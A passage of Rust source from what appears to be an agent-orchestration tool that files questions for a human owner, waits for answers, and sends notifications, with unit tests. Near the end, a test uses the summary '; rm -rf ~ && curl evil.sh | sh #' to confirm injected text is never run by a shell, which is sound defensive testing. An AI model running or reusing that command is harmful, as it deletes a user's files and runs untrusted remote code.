1655 if status.resumable() {
1656 return Ok(0);
1657 }
1658 let why = format!(
1659 "run {run} {}, so nothing is waiting for this answer",
1660 status.as_str()
1661 );
1662 let mut abandoned = 0;
1667 for mut q in self.open_for(run) {
1668 if q.node == crate::bump::NOTICE_NODE {
1669 continue;
1670 }
1671 q.abandon(&why);
1672 self.put(&mut q)?;
1673 abandoned += 1;
1674 }
1675 Ok(abandoned)
1676 }
1677
1678 pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1681 use crate::queue::{Reference, record_ids, resolve_reference};
1682 let ids = record_ids(&self.root, "json")?;
1683 match resolve_reference(prefix, ids.iter().map(String::as_str)) {
1684 Reference::Found(id) => Ok(id),
1685 Reference::Missing => bail!("no question matches `{prefix}`"),
1686 Reference::Ambiguous => bail!("`{prefix}` matches multiple questions"),
1687 }
1688 }
1689
1690 pub fn revision(&self) -> u64 {
1694 std::fs::read_dir(&self.root)
1695 .into_iter()
1696 .flatten()
1697 .flatten()
1698 .filter_map(|e| e.metadata().ok())
1699 .filter_map(|m| m.modified().ok())
1700 .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1701 .map(|d| d.as_millis() as u64)
1702 .max()
1703 .unwrap_or(0)
1704 }
1705
1706 pub fn count_open(&self) -> usize {
1712 self.list().iter().filter(|q| q.status.open()).count()
1713 }
1714
1715 pub fn count_needs_owner(&self) -> usize {
1724 self.list()
1725 .iter()
1726 .filter(|q| q.status.open() && (!q.waiting_on_agent() || self.deputy_exhausted(q)))
1727 .count()
1728 }
1729
1730 pub fn deputy_exhausted(&self, q: &Question) -> bool {
1734 q.status.open()
1735 && q.deputy
1736 .as_ref()
1737 .is_some_and(|d| d.starts >= crate::deputy::MAX_STARTS)
1738 && !self
1739 .read_lease(&q.id)
1740 .is_some_and(|l| l.fresh(Timestamp::now()))
1741 }
1742}
1743
1744#[derive(Debug, Clone, PartialEq, Eq)]
1746pub enum Wait {
1747 Answered(String),
1749 Replied(String),
1754 Pending,
1761 Abandoned,
1766}
1767
1768pub async fn ask_and_wait(
1775 q: &mut Question,
1776 store: &Questions,
1777 notify: &config::Notify,
1778 timeout: Duration,
1779) -> Result<Wait> {
1780 wait_for_owner(q, store, notify, timeout, POLL).await
1781}
1782
1783pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1798 wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1799}
1800
1801async fn wait_for_owner(
1807 q: &mut Question,
1808 store: &Questions,
1809 cfg: &config::Notify,
1810 timeout: Duration,
1811 poll: Duration,
1812) -> Result<Wait> {
1813 if !store.path_of(&q.id).is_file() {
1817 store.put(q).context("file the question")?;
1818 }
1819 if q.should_notify(Timestamp::now()) {
1820 if let Err(e) = notify(cfg, q).await {
1821 tracing::warn!(
1826 "could not notify about question {}: {e:#} - the web UI is the \
1827 only surface for it now",
1828 q.short()
1829 );
1830 }
1831 }
1832 tracing::info!(
1833 "question {} from {} is waiting for you: {}",
1834 q.short(),
1835 q.seat,
1836 q.summary
1837 );
1838 wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1839}
1840
1841fn hold(store: &Questions, id: &str) {
1843 store.beat(id, WaiterKind::Asker);
1844 let took = store.update(id, |q| {
1845 if q.status.open() {
1846 q.waiter = Some(Waiter {
1847 kind: WaiterKind::Asker,
1848 since: Timestamp::now(),
1849 });
1850 }
1851 Ok(())
1852 });
1853 if let Err(e) = took {
1854 tracing::debug!("could not note the wait on question {id}: {e:#}");
1855 }
1856}
1857
1858pub fn hand_over(store: &Questions, q: &mut Question) {
1866 let done = store.update(&q.id, |r| {
1867 r.delivered_turns = r.delivered_turns.max(q.thread.len());
1868 if r.status == QuestionStatus::Answered {
1869 r.answer_delivered = true;
1870 }
1871 r.waiter = None;
1872 Ok(())
1873 });
1874 match done {
1875 Ok((fresh, ())) => *q = fresh,
1876 Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
1877 }
1878}
1879
1880pub fn answer_for_agent(q: &Question, answer: &str) -> String {
1884 let says = q.undelivered_owner_turns();
1885 if says.is_empty() {
1886 return answer.to_owned();
1887 }
1888 format!(
1889 "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
1890 says.join("\n\n")
1891 )
1892}
1893
1894pub fn deliver_answer(
1897 store: &Questions,
1898 q: &mut Question,
1899 answer: &str,
1900 out: &mut impl std::io::Write,
1901) -> std::io::Result<()> {
1902 writeln!(out, "{}", answer_for_agent(q, answer))?;
1903 out.flush()?;
1904 hand_over(store, q);
1905 Ok(())
1906}
1907
1908async fn wait_loop(
1918 q: &mut Question,
1919 store: &Questions,
1920 timeout: Duration,
1921 slice: Duration,
1922 poll: Duration,
1923) -> Result<Wait> {
1924 if let Some(said) = q.unread_from_owner() {
1934 return Ok(Wait::Replied(said));
1935 }
1936 hold(store, &q.id);
1937
1938 let bounded = timeout.min(slice);
1939 let is_the_real_deadline = bounded >= timeout;
1940 let deadline = tokio::time::Instant::now() + bounded;
1941 loop {
1942 let now = tokio::time::Instant::now();
1943 if now >= deadline {
1944 if !is_the_real_deadline {
1945 return Ok(Wait::Pending);
1949 }
1950 let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
1951 let (fresh, unread) = store
1955 .update(&q.id, |r| {
1956 let unread = r.unread_from_owner();
1957 if unread.is_none() {
1958 r.abandon(&why);
1959 r.waiter = None;
1960 }
1961 Ok(unread)
1962 })
1963 .context("record the abandoned question")?;
1964 *q = fresh;
1965 if let Some(said) = unread {
1966 return Ok(Wait::Replied(said));
1967 }
1968 tracing::warn!(
1969 "question {} went unanswered for {}s; the run parks and the \
1970 question stays as the record of it",
1971 q.short(),
1972 timeout.as_secs()
1973 );
1974 return Ok(Wait::Abandoned);
1975 }
1976 tokio::time::sleep(poll.min(deadline - now)).await;
1977 store.beat(&q.id, WaiterKind::Asker);
1978 match store.get(&q.id) {
1979 Ok(fresh) if !fresh.status.open() => {
1980 *q = fresh;
1984 return Ok(match q.resolution() {
1985 Some(a) => Wait::Answered(a),
1986 None => Wait::Abandoned,
1989 });
1990 }
1991 Ok(fresh) => {
1992 if let Some(said) = fresh.unread_from_owner() {
1993 *q = fresh;
1994 return Ok(Wait::Replied(said));
1995 }
1996 }
1999 Err(e) => {
2000 tracing::debug!("could not re-read question {}: {e:#}", q.short());
2004 }
2005 }
2006 }
2007}
2008
2009pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
2020 let mut summary = format!("Question {}: {}", q.short(), q.summary.trim());
2021 if q.status.open() {
2022 summary.push_str(&format!(
2023 " Respond in Questions or with `magi answer {}`.",
2024 q.id
2025 ));
2026 }
2027 let url = question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default());
2028 notify_at(cmd, &q.run, &summary, &url).await
2029}
2030
2031pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
2034 let url = view_url(
2035 &std::env::var(WEB_URL_ENV).unwrap_or_default(),
2036 "notifications",
2037 );
2038 notify_at(cmd, run, summary, &url).await
2039}
2040
2041async fn notify_at(cmd: &config::Notify, run: &str, summary: &str, url: &str) -> Result<()> {
2042 let Some((program, args)) = cmd.command.split_first() else {
2043 return Ok(());
2045 };
2046 if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
2047 tracing::warn!(
2048 "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
2049 so the link will be empty - export it next to `magi serve` with \
2050 the address `magi web --open` printed"
2051 );
2052 }
2053 let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, url)).collect();
2054 tracing::debug!(program = %program, args = ?argv, "notifying");
2055
2056 let mut child = tokio::process::Command::new(program);
2057 child.quiet();
2058 child
2059 .args(&argv)
2060 .stdin(std::process::Stdio::null())
2061 .kill_on_drop(true);
2064 let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
2065 Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
2066 Err(_) => bail!(
2067 "notification command `{program}` did not finish within {}s",
2068 NOTIFY_TIMEOUT.as_secs()
2069 ),
2070 };
2071 if !out.status.success() {
2072 let stderr = String::from_utf8_lossy(&out.stderr);
2073 let why = stderr
2074 .lines()
2075 .rev()
2076 .find(|l| !l.trim().is_empty())
2077 .unwrap_or("no output on stderr")
2078 .trim();
2079 bail!(
2080 "notification command `{program}` exited with {}: {why}",
2081 out.status
2082 );
2083 }
2084 Ok(())
2085}
2086
2087fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
2093 let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
2094 let mut out = String::with_capacity(template.len());
2095 let mut rest = template;
2096 while let Some(at) = rest.find('{') {
2097 out.push_str(&rest[..at]);
2098 let tail = &rest[at..];
2099 match table.iter().find(|(token, _)| tail.starts_with(token)) {
2100 Some((token, value)) => {
2101 out.push_str(value);
2102 rest = &tail[token.len()..];
2103 }
2104 None => {
2105 out.push('{');
2107 rest = &tail[1..];
2108 }
2109 }
2110 }
2111 out.push_str(rest);
2112 out
2113}
2114
2115fn question_url(base: &str) -> String {
2122 view_url(base, "questions")
2123}
2124
2125fn view_url(base: &str, view: &str) -> String {
2126 let base = base.trim().trim_end_matches('/');
2127 if base.is_empty() || base.contains('#') {
2128 return base.to_owned();
2129 }
2130 format!("{base}/#/{view}")
2131}
2132
2133fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
2138 let index = dir.join(PANEL_HTML);
2139 std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
2140 for (name, src) in assets {
2141 let dst = dir.join(name);
2142 std::fs::copy(src, &dst)
2143 .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
2144 }
2145 Ok(())
2146}
2147
2148fn clear_dir(path: &Path) -> Result<()> {
2153 match std::fs::remove_dir_all(path) {
2154 Ok(()) => Ok(()),
2155 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
2156 Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
2157 }
2158}
2159
2160fn read_path(path: &Path) -> Result<Question> {
2161 let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
2162 let q: Question =
2163 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2164 if q.schema > SCHEMA {
2165 bail!(
2170 "question {} was written by a newer magi (schema {}, this build \
2171 only speaks up to {SCHEMA})",
2172 q.id,
2173 q.schema
2174 );
2175 }
2176 Ok(q)
2177}
2178
2179pub fn short_id(id: &str) -> &str {
2181 short(id)
2182}
2183
2184fn short(id: &str) -> &str {
2185 id.split('-').next_back().unwrap_or(id)
2186}
2187
2188fn new_id() -> String {
2189 let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
2190 new_id_at(&stamp.to_string(), crate::rng::entropy())
2191}
2192
2193fn new_id_at(stamp: &str, seed: u64) -> String {
2194 static NEXT: std::sync::atomic::AtomicU64 = std::sync::atomic::AtomicU64::new(0);
2199 let sequence = NEXT.fetch_add(1, std::sync::atomic::Ordering::Relaxed);
2200 format!(
2201 "{stamp}-{seed:016x}-{sequence:016x}-{:04x}",
2202 (seed ^ (seed >> 32)) & 0xffff
2203 )
2204}
2205
2206#[cfg(test)]
2207mod tests {
2208 use super::*;
2209
2210 fn store() -> (tempfile::TempDir, Questions) {
2213 let dir = tempfile::tempdir().unwrap();
2214 let s = Questions::at(dir.path().join("questions"));
2215 (dir, s)
2216 }
2217
2218 #[test]
2219 fn run_names_task_only_for_task_questions() {
2220 for (node, want) in [
2221 (crate::conduct::NODE, true),
2222 (crate::triage::NODE, true),
2223 (crate::triage::DEPS_NODE, true),
2224 (crate::land::APPROVAL_NODE, false),
2225 (crate::bump::NOTICE_NODE, false),
2226 ("implement", false),
2227 ] {
2228 let mut q = choice_question();
2229 q.node = node.to_owned();
2230 assert_eq!(q.run_names_task(), want, "{node}");
2231 }
2232 }
2233
2234 #[test]
2235 fn deleting_a_run_stops_its_questions_asking() {
2236 let (_dir, store) = store();
2237
2238 let mut open_one = choice_question();
2239 store.put(&mut open_one).unwrap();
2240 let mut answered = free_question();
2241 answered
2242 .answer(Answer::Text("keep this".to_owned()))
2243 .unwrap();
2244 store.put(&mut answered).unwrap();
2245 let mut elsewhere = choice_question();
2246 elsewhere.run = "20260903-105039-3cbf".to_owned();
2247 store.put(&mut elsewhere).unwrap();
2248
2249 let n = store
2250 .abandon_for_run(&open_one.run, "run was deleted")
2251 .unwrap();
2252 assert_eq!(n, 1, "only the open question of that run");
2253
2254 let back = store.get(&open_one.id).unwrap();
2255 assert!(!back.status.open(), "it no longer asks for a decision");
2256 assert!(
2257 back.detail.contains("run was deleted"),
2258 "the operator can see why: {}",
2259 back.detail
2260 );
2261
2262 let kept = store.get(&answered.id).unwrap();
2263 assert_eq!(
2264 kept.status,
2265 QuestionStatus::Answered,
2266 "an answered question is a decision on record, not something to revoke"
2267 );
2268 assert!(
2269 store.get(&elsewhere.id).unwrap().status.open(),
2270 "another run's question is untouched"
2271 );
2272 assert!(store.open_for(&open_one.run).is_empty());
2273 }
2274
2275 #[test]
2276 fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2277 let (_dir, store) = store();
2278 let mut q = choice_question();
2279 store.put(&mut q).unwrap();
2280
2281 let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2283 assert_eq!(n, 0);
2284 assert!(store.get(&q.id).unwrap().status.open());
2285
2286 let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2289 assert_eq!(n, 1);
2290 let back = store.get(&q.id).unwrap();
2291 assert!(!back.status.open());
2292 assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2293
2294 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2296 }
2297
2298 fn choice_question() -> Question {
2299 Question::new(
2300 "20260902-201256-9fb7".to_owned(),
2301 "implement".to_owned(),
2302 "impl-A".to_owned(),
2303 "Which storage backend should the cache use?".to_owned(),
2304 "Both are already dependencies.".to_owned(),
2305 vec!["SQLite".to_owned(), "Redis".to_owned()],
2306 )
2307 }
2308
2309 fn free_question() -> Question {
2310 Question::new(
2311 "20260902-201256-9fb7".to_owned(),
2312 "review".to_owned(),
2313 "rev-1".to_owned(),
2314 "What should the error message say?".to_owned(),
2315 String::new(),
2316 Vec::new(),
2317 )
2318 }
2319
2320 fn quiet() -> config::Notify {
2322 config::Notify::default()
2323 }
2324
2325 #[test]
2326 fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2327 let mut q = choice_question();
2331 q.id = "20260902-231501-ab12".to_owned();
2332 let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2333 let keys: Vec<&str> = open
2337 .as_object()
2338 .unwrap()
2339 .keys()
2340 .map(String::as_str)
2341 .collect();
2342 assert_eq!(
2343 keys,
2344 [
2345 "actions",
2346 "answer",
2347 "answer_delivered",
2348 "answer_timeout",
2349 "answered_at",
2350 "asked_at",
2351 "assets",
2352 "choices",
2353 "consult",
2354 "cwd",
2355 "decision_context",
2356 "delivered_turns",
2357 "deputy",
2358 "detail",
2359 "id",
2360 "merge_target",
2361 "node",
2362 "panel",
2363 "run",
2364 "schema",
2365 "seat",
2366 "status",
2367 "summary",
2368 "thread",
2369 "triage_generation",
2370 "waiter",
2371 ],
2372 "the on-disk field set is a contract with the front end"
2373 );
2374 assert_eq!(open["schema"], 13);
2375 assert_eq!(open["merge_target"], serde_json::Value::Null);
2376 assert_eq!(open["triage_generation"], serde_json::Value::Null);
2377 assert_eq!(open["thread"], serde_json::json!([]));
2378 assert_eq!(open["id"], "20260902-231501-ab12");
2379 assert_eq!(open["run"], "20260902-201256-9fb7");
2380 assert_eq!(open["node"], "implement");
2381 assert_eq!(open["seat"], "impl-A");
2382 assert_eq!(open["status"], "open");
2383 assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2384 assert_eq!(open["answered_at"], serde_json::Value::Null);
2385 assert_eq!(open["answer"], serde_json::Value::Null);
2386 let asked = open["asked_at"].as_str().unwrap();
2387 assert!(
2388 asked.ends_with('Z') && asked.contains('T'),
2389 "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2390 );
2391
2392 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2394 let answered = serde_json::to_value(&q).unwrap();
2395 assert_eq!(answered["status"], "answered");
2396 assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2397 assert!(answered["answered_at"].is_string());
2398
2399 let mut free = free_question();
2401 free.answer(Answer::Text("Say which file it was".to_owned()))
2402 .unwrap();
2403 assert_eq!(
2404 serde_json::to_value(&free).unwrap()["answer"],
2405 serde_json::json!({"text": "Say which file it was"})
2406 );
2407
2408 let body = serde_json::to_string(&q).unwrap();
2410 assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2411 }
2412
2413 #[test]
2414 fn merge_target_persists_and_schema_10_questions_remain_readable() {
2415 let (_dir, store) = store();
2416 let mut q = approval_question();
2417 q.merge_target = Some(crate::merge_decision::Target {
2418 pr: "https://github.com/example/repo/pull/42".into(),
2419 head: "reviewed-head".into(),
2420 language: "ja".into(),
2421 });
2422 store.put(&mut q).unwrap();
2423 let saved = store.get(&q.id).unwrap();
2424 assert_eq!(saved, q);
2425 let mut body = serde_json::to_value(&saved).unwrap();
2426 assert_eq!(body["schema"], 13);
2427 assert_eq!(
2428 body["merge_target"],
2429 serde_json::json!({
2430 "pr": "https://github.com/example/repo/pull/42",
2431 "head": "reviewed-head",
2432 "language": "ja"
2433 })
2434 );
2435
2436 body["schema"] = serde_json::json!(10);
2439 body.as_object_mut().unwrap().remove("merge_target");
2440 std::fs::write(store.path_of(&q.id), serde_json::to_vec(&body).unwrap()).unwrap();
2441 let legacy = store.get(&q.id).unwrap();
2442 assert_eq!(legacy.schema, 10);
2443 assert!(legacy.merge_target.is_none());
2444 assert_eq!(legacy.choices, q.choices);
2445 assert_eq!(legacy.status, q.status);
2446 }
2447
2448 #[test]
2449 fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2450 let mut unoffered = choice_question();
2453 let a = unoffered
2454 .answer(Answer::Choice("Postgres".to_owned()))
2455 .unwrap_err()
2456 .to_string();
2457
2458 let mut typed = choice_question();
2459 let b = typed
2460 .answer(Answer::Text("use Postgres".to_owned()))
2461 .unwrap_err()
2462 .to_string();
2463
2464 let mut blank = free_question();
2465 let c = blank
2466 .answer(Answer::Text(" \n".to_owned()))
2467 .unwrap_err()
2468 .to_string();
2469
2470 let mut twice = choice_question();
2471 twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2472 let d = twice
2473 .answer(Answer::Choice("Redis".to_owned()))
2474 .unwrap_err()
2475 .to_string();
2476
2477 assert!(a.contains("not one of the choices"), "{a}");
2478 assert!(b.contains("multiple choice"), "{b}");
2479 assert!(c.contains("empty"), "{c}");
2480 assert!(d.contains("already answered"), "{d}");
2481 let mut distinct = vec![a, b, c, d];
2482 let asked = distinct.len();
2483 distinct.sort_unstable();
2484 distinct.dedup();
2485 assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2486
2487 assert_eq!(unoffered.status, QuestionStatus::Open);
2489 assert_eq!(typed.status, QuestionStatus::Open);
2490 assert_eq!(blank.status, QuestionStatus::Open);
2491 assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2493
2494 let mut free = free_question();
2496 let e = free
2497 .answer(Answer::Choice("SQLite".to_owned()))
2498 .unwrap_err()
2499 .to_string();
2500 assert!(e.contains("free text"), "{e}");
2501 }
2502
2503 #[test]
2504 fn open_questions_are_listed_before_answered_ones() {
2505 let (_dir, s) = store();
2506 let mut old_open = choice_question();
2509 old_open.id = "20260101-000001-aaaa".to_owned();
2510 let mut new_open = choice_question();
2511 new_open.id = "20260101-000002-bbbb".to_owned();
2512 let mut answered = choice_question();
2513 answered.id = "20260101-000003-cccc".to_owned();
2514 answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2515 for q in [&mut old_open, &mut new_open, &mut answered] {
2516 s.put(q).unwrap();
2517 }
2518
2519 let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2520 assert_eq!(
2521 ids,
2522 [
2523 "20260101-000002-bbbb",
2524 "20260101-000001-aaaa",
2525 "20260101-000003-cccc"
2526 ],
2527 "what has stopped work comes first; history sorts underneath"
2528 );
2529 assert_eq!(s.count_open(), 2);
2530 assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2531 assert!(s.open_for("some-other-run").is_empty());
2532 assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2534 assert!(s.get("20260101-000002-bbbb").is_ok());
2535 assert!(s.resolve_id("nope").is_err());
2536 assert!(
2537 s.revision() > 0,
2538 "the store's mtime drives the phone's polling"
2539 );
2540 }
2541
2542 #[test]
2543 fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2544 let (_dir, s) = store();
2545 let mut good = choice_question();
2546 s.put(&mut good).unwrap();
2547 std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2549 let future = serde_json::json!({
2550 "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2551 "seat": "s", "summary": "?", "detail": "", "choices": [],
2552 "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2553 "answered_at": null, "answer": null,
2554 });
2555 std::fs::write(
2556 s.path_of("20260101-000010-beef"),
2557 serde_json::to_string(&future).unwrap(),
2558 )
2559 .unwrap();
2560
2561 let listed = s.list();
2562 assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2563 assert_eq!(listed[0].id, good.id);
2564 let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2566 assert!(e.contains("schema"), "{e}");
2567 }
2568
2569 #[tokio::test]
2570 async fn the_wait_returns_the_answer_another_process_wrote() {
2571 let (dir, s) = store();
2576 let mut q = choice_question();
2577 let id = q.id.clone();
2578 let writer = Questions::at(dir.path().join("questions"));
2579 let handle = tokio::spawn(async move {
2580 tokio::time::sleep(Duration::from_millis(30)).await;
2581 let mut fresh = writer.get(&id).expect("the question was filed first");
2582 fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2583 writer.put(&mut fresh).unwrap();
2584 });
2585
2586 let got = wait_for_owner(
2587 &mut q,
2588 &s,
2589 &quiet(),
2590 Duration::from_secs(5),
2591 Duration::from_millis(10),
2592 )
2593 .await
2594 .unwrap();
2595
2596 handle.await.unwrap();
2597 assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2598 assert_eq!(
2599 q.status,
2600 QuestionStatus::Answered,
2601 "the caller's copy is refreshed from the answering process's record"
2602 );
2603 assert!(q.answered_at.is_some());
2604 }
2605
2606 #[tokio::test]
2607 async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2608 let (_dir, s) = store();
2609 let mut q = choice_question();
2610
2611 let got = wait_for_owner(
2612 &mut q,
2613 &s,
2614 &quiet(),
2615 Duration::from_millis(60),
2616 Duration::from_millis(10),
2617 )
2618 .await
2619 .unwrap();
2620
2621 assert_eq!(
2622 got,
2623 Wait::Abandoned,
2624 "a slow human is not an error; the run parks"
2625 );
2626 assert_eq!(q.status, QuestionStatus::Abandoned);
2627 let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2628 assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2629 assert!(
2630 on_disk.detail.contains("Abandoned:"),
2631 "why nobody answered belongs with the question: {}",
2632 on_disk.detail
2633 );
2634 assert!(on_disk.resolution().is_none());
2635 assert_eq!(s.count_open(), 0);
2636 }
2637
2638 #[tokio::test]
2639 async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2640 let (_dir, s) = store();
2645 let mut q = choice_question();
2646 s.put(&mut q).unwrap();
2647
2648 let got = wait_loop(
2649 &mut q,
2650 &s,
2651 Duration::from_secs(3600),
2652 Duration::from_millis(30),
2653 Duration::from_millis(10),
2654 )
2655 .await
2656 .unwrap();
2657
2658 assert_eq!(
2659 got,
2660 Wait::Pending,
2661 "the clock on this call ran out, not the owner's patience"
2662 );
2663 assert_eq!(
2664 q.status,
2665 QuestionStatus::Open,
2666 "a slice expiring must never abandon the question"
2667 );
2668 let on_disk = s.get(&q.id).expect("still on disk, still open");
2669 assert_eq!(
2670 on_disk.status,
2671 QuestionStatus::Open,
2672 "nothing about the record changed just because this call gave up"
2673 );
2674 }
2675
2676 #[tokio::test]
2677 async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2678 let (dir, s) = store();
2683 let mut q = choice_question();
2684 s.put(&mut q).unwrap();
2685
2686 let first = wait_loop(
2687 &mut q,
2688 &s,
2689 Duration::from_secs(3600),
2690 Duration::from_millis(30),
2691 Duration::from_millis(10),
2692 )
2693 .await
2694 .unwrap();
2695 assert_eq!(first, Wait::Pending);
2696
2697 let id = q.id.clone();
2698 let writer = Questions::at(dir.path().join("questions"));
2699 let mut fresh = writer.get(&id).unwrap();
2700 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2701 writer.put(&mut fresh).unwrap();
2702
2703 let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2708 .await
2709 .unwrap();
2710 assert_eq!(second, Wait::Answered("Redis".to_owned()));
2711 assert_eq!(q.status, QuestionStatus::Answered);
2712 }
2713
2714 #[tokio::test]
2715 async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2716 let (dir, s) = store();
2726 let mut q = choice_question();
2727 s.put(&mut q).unwrap();
2728
2729 let first = wait_loop(
2730 &mut q,
2731 &s,
2732 Duration::from_secs(3600),
2733 Duration::from_millis(30),
2734 Duration::from_millis(10),
2735 )
2736 .await
2737 .unwrap();
2738 assert_eq!(first, Wait::Pending);
2739
2740 let id = q.id.clone();
2742 let writer = Questions::at(dir.path().join("questions"));
2743 let mut fresh = writer.get(&id).unwrap();
2744 fresh.say("why not Postgres?").unwrap();
2745 writer.put(&mut fresh).unwrap();
2746
2747 let mut resumed = s.get(&id).unwrap();
2751 let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2752 .await
2753 .unwrap();
2754 assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2755 assert_eq!(
2756 resumed.status,
2757 QuestionStatus::Open,
2758 "talking back is not a decision; the question stays open"
2759 );
2760 }
2761
2762 #[tokio::test]
2763 async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2764 let (dir, s) = store();
2768 let broken = config::Notify {
2769 command: vec![
2770 "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2771 "{summary}".to_owned(),
2772 ],
2773 };
2774 let mut q = choice_question();
2775 assert!(
2776 notify(&broken, &q).await.is_err(),
2777 "the caller is told; it decides that it does not matter"
2778 );
2779
2780 let id = q.id.clone();
2781 let writer = Questions::at(dir.path().join("questions"));
2782 let handle = tokio::spawn(async move {
2783 tokio::time::sleep(Duration::from_millis(30)).await;
2784 let mut fresh = writer.get(&id).unwrap();
2785 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2786 writer.put(&mut fresh).unwrap();
2787 });
2788 let got = wait_for_owner(
2789 &mut q,
2790 &s,
2791 &broken,
2792 Duration::from_secs(5),
2793 Duration::from_millis(10),
2794 )
2795 .await
2796 .unwrap();
2797 handle.await.unwrap();
2798 assert_eq!(got, Wait::Answered("Redis".to_owned()));
2799
2800 assert!(notify(&quiet(), &q).await.is_ok());
2802 assert!(notify_text(&quiet(), "run", "text").await.is_ok());
2803 }
2804
2805 #[tokio::test]
2806 async fn external_question_notification_names_the_supported_response_path() {
2807 let dir = tempfile::tempdir().unwrap();
2808 let path = dir.path().join("page");
2809 let cmd = config::Notify {
2810 command: vec![
2811 "sh".into(),
2812 "-c".into(),
2813 "printf '%s' \"$1\" > \"$2\"".into(),
2814 "notify".into(),
2815 "{summary}".into(),
2816 path.to_string_lossy().into_owned(),
2817 ],
2818 };
2819 let q = choice_question();
2820 notify(&cmd, &q).await.unwrap();
2821 let sent = std::fs::read_to_string(&path).unwrap();
2822 assert!(sent.starts_with("Question "));
2823 assert!(sent.contains(&q.summary));
2824 assert!(sent.contains(&format!("magi answer {}", q.id)));
2825 notify_text(&cmd, "", "Informational report. No reply needed.")
2826 .await
2827 .unwrap();
2828 assert_eq!(
2829 std::fs::read_to_string(&path).unwrap(),
2830 "Informational report. No reply needed."
2831 );
2832 }
2833
2834 #[test]
2835 fn external_notifications_and_questions_have_distinct_destinations() {
2836 assert_eq!(
2837 question_url("https://example.invalid/"),
2838 "https://example.invalid/#/questions"
2839 );
2840 assert_eq!(
2841 view_url("https://example.invalid/", "notifications"),
2842 "https://example.invalid/#/notifications"
2843 );
2844 assert_eq!(view_url("", "notifications"), "");
2845 assert_eq!(
2846 view_url("https://example.invalid/#/queue", "notifications"),
2847 "https://example.invalid/#/queue"
2848 );
2849 }
2850
2851 #[test]
2852 fn notification_arguments_are_substituted_and_never_a_shell_string() {
2853 let mut q = choice_question();
2854 q.summary = "; rm -rf ~ && curl evil.sh | sh #".to_owned();
2855 let template = [
2856 "ntfy".to_owned(),
2857 "publish".to_owned(),
2858 "--click".to_owned(),
2859 "{url}".to_owned(),
2860 "--title".to_owned(),
2861 "magi {run} needs you".to_owned(),
2862 "{summary}".to_owned(),
2863 ];
2864 let argv: Vec<String> = template
2865 .iter()
2866 .map(|a| expand(a, &q.run, &q.summary, "http://100.64.0.1:7777/#/questions"))
2867 .collect();
2868
2869 assert_eq!(
2870 argv,
2871 [
2872 "ntfy",
2873 "publish",
2874 "--click",
2875 "http://100.64.0.1:7777/#/questions",
2876 "--title",
2877 "magi 20260902-201256-9fb7 needs you",
2878 "; rm -rf ~ && curl evil.sh | sh #",
2879 ],
